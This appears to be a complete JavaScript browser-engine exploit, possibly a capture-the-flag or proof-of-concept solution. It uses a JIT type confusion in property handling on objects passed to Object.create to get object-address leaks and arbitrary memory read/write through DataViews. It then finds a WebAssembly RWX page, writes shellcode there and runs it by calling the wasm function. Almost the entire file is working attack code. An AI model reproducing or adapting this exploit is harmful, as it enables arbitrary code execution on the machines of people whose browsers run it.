function gc() { for (let i = 0; i < 0x10; i++) { new ArrayBuffer(0x1000000); } }

let f64 = new Float64Array(1);
let u32 = new Uint32Array(f64.buffer);

function d2u(v) {
	f64[0] = v;
	return u32;
}

function u2d(lo, hi) {
	u32[0] = lo;
	u32[1] = hi;
	return f64;
}

function hex(lo, hi) {
    if( lo == 0 ) {
        return ("0x" + hi.toString(16) + "-00000000");
    }
    if( hi == 0 ) {
        return ("0x" + lo.toString(16));
    }
    return ("0x" + hi.toString(16) + "-" + lo.toString(16));
}

function view(array, lim) {
    for(let i = 0; i < lim; i++) {
        t = array[i];
        console.log("[" + i + "] : " + hex(d2u(t)[0], d2u(t)[1]));
    }
}

/* exploitation */

let wasm_code = new Uint8Array([0, 97, 115, 109, 1, 0, 0, 0, 1, 7, 1, 96, 2, 127, 127, 1, 127, 3, 2, 1, 0, 4, 4, 1, 112, 0, 0, 5, 3, 1, 0, 1, 7, 21, 2, 6, 109, 101, 109, 111, 114, 121, 2, 0, 8, 95, 90, 51, 97, 100, 100, 105, 105, 0, 0, 10, 9, 1, 7, 0, 32, 1, 32, 0, 106, 11]);
let wasm_mod = new WebAssembly.Instance(new WebAssembly.Module(wasm_code), {});
let f = wasm_mod.exports._Z3addii;
let overlapped_index = undefined;

// Find overlapping index
// i use index 21, and find another one
function foo(o) {
	let a = o.y;
	Object.create(o);
	let t = o.p21;
	// overlap !
	o.p21 = 13371338;
	let idx = t - 0x2000;
	return idx;
}

function find_overlapped_index() {
	let o = {x: 0x1337, y: 0x1338};
	for(let i = 0; i < 40; i++) {
		eval(`o.p${i} = ${0x2000 + i}`);
	}

	let idx = foo(o);
	if( idx != 21 && idx > 0 && idx < 40 ) {
		console.log("[-] idx : " + idx);
		eval(`console.log(o.p${idx})`);
		return idx;
	}
	else {
		return 0;
	}
}

for(let i = 0; i < 100000; i++) {
	res = find_overlapped_index();
	if (res != 0) {
		// save index
		overlapped_index = res;
		break;
	}
}

// Using overlapped index, Make Arbitrary Read/Write Primitives
function use_vuln(o) {
	let a = o.y;
	Object.create(o);
	val = o.p21.x1;
	return val;
}

function do_leak(obj) {
	// unboxed double array -> to leak some value !
	// 21 -> overlap target
	// idx -> leak !
	let unboxed = {x1: 13.37, x2: 13.38};
	let victim = {y1: obj};
	let o = {x: 0x1337, y: 0x1338};
	for(let i = 0; i < 40; i++) {
		if (i == 21 || i == overlapped_index) {
			if (i == 21) {
				eval(`o.p${i} = unboxed`);
			}
			else {
				eval(`o.p${i} = victim`);
			}
		}
		else {
			eval(`o.p${i} = undefined`);
		}
	}
	val = use_vuln(o);
	return val;
}

function leak(obj) {
	for(let i = 0; i < 100000; i++) {
		v = do_leak(ab);
		if (v != 13.37) {
			lo = d2u(v)[0];
			hi = d2u(v)[1];
			return [lo, hi];
		}
	}
	console.log("fail");
}

let ab = new ArrayBuffer(0x1000);
let ab_victim = new ArrayBuffer(0x1000);
let unboxed_oob = new Array(1.1, 2.2, 3.3);
let leaked = new Array(0xdada, 0xadad, {}, f, 1.1);
let last_ab = new ArrayBuffer(0x1234);

gc();

let [ab_lo, ab_hi] = leak(ab);
console.log("[-] ArrayBuffer Leak : " + hex(ab_lo, ab_hi));
ab_lo -= 1;

args = u2d(ab_lo, ab_hi);

eval(`
	function overwrite_vuln(o) {
		let a = o.y;
		Object.create(o);
		val = o.p21.prop2;
		o.p21.prop2 = ${args};
		return val;
	}`);


function do_overwrite(target) {
	// unboxed double array -> to leak some value !
	// 21 -> overlap target
	// idx -> leak !
	let ob_value = u2d(ab_lo, ab_hi);
	let unboxed_double_array = {prop1: 13.37, prop2: 13.38};
	let o = {x1: 0x1337, x2: 0x1338};
	for(let i = 0; i < 40; i++) {
		if (i == 21 || i == overlapped_index) {
			if (i == 21) {
				eval(`o.p${i} = unboxed_double_array`);
			}
			else {
				eval(`o.p${i} = target`);
			}
		}
		else {
			eval(`o.p${i} = undefined`);
		}
	}

	res = overwrite_vuln(o);
	return res;
}

for(let i = 0; i < 100000; i++) {
	res = do_overwrite(ab_victim);
	if (res != 13.38) {
		break;
	}
}

let dv = new DataView(ab_victim);

// for memory dump

/*
for(let i = 0; i < 60; i++ ){
	dv_lo = dv.getUint32(8 * i, true);
	dv_hi = dv.getUint32(8 * i + 4, true);
	console.log("[ " + i + "] : " + hex(dv_lo, dv_hi));
}
*/

/*
[ 16] : 0x3319-fba82cf9
[ 17] : 0x2e94-f7080c21
[ 18] : 0x38e6-9ccae4f9
[ 19] : 0x3-00000000
[ 20] : 0x2e94-f7081459
[ 21] : 0x3-00000000
[ 22] : 0x3ff19999-9999999a
[ 23] : 0x40019999-9999999a
[ 24] : 0x400a6666-66666666

...

[ 38] : 0xdada-00000000
[ 39] : 0xadad-00000000
[ 40] : 0x2ff1-45899e1
[ 41] : 0x25a4-e139fb29		<- wasm object
[ 42] : 0x25a4-e139e751
[ 43] : 0x64e-2c2021b9
[ 44] : 0x2b87-a8c80c21
[ 45] : 0x2b87-a8c80c21
[ 46] : 0x1234				<- last ArrayBuffer
[ 47] : 0x564e-f2869700
*/

// leak wasm rwx page
wasm_lo = dv.getUint32(8 * 41, true);
wasm_hi = dv.getUint32(8 * 41 + 4, true);

console.log("[-] Wasm Object : " + hex(wasm_lo, wasm_hi));

dv.setUint32(8 * 47, wasm_lo - 1, true);
dv.setUint32(8 * 47 + 4, wasm_hi, true);

dv2 = new DataView(last_ab);
lo = dv2.getUint32(0x18, true);
hi = dv2.getUint32(0x18 + 4, true);

dv.setUint32(8 * 47, lo - 1 - 0xc0, true);
dv.setUint32(8 * 47 + 4, hi, true);

rwx_lo = dv2.getUint32(0, true);
rwx_hi = dv2.getUint32(4, true);

console.log("[-] rwx page leak : " + hex(rwx_lo, rwx_hi));

dv.setUint32(8 * 47, rwx_lo, true);
dv.setUint32(8 * 47 + 4, rwx_hi, true);

var shellcode = [0xbb48c031, 0x91969dd1, 0xff978cd0, 0x53dbf748, 0x52995f54, 0xb05e5457, 0x50f3b];

for(let i = 0; i < shellcode.length; i++) {
	dv2.setUint32(i * 4, shellcode[i], true);
}

f(1, 2);
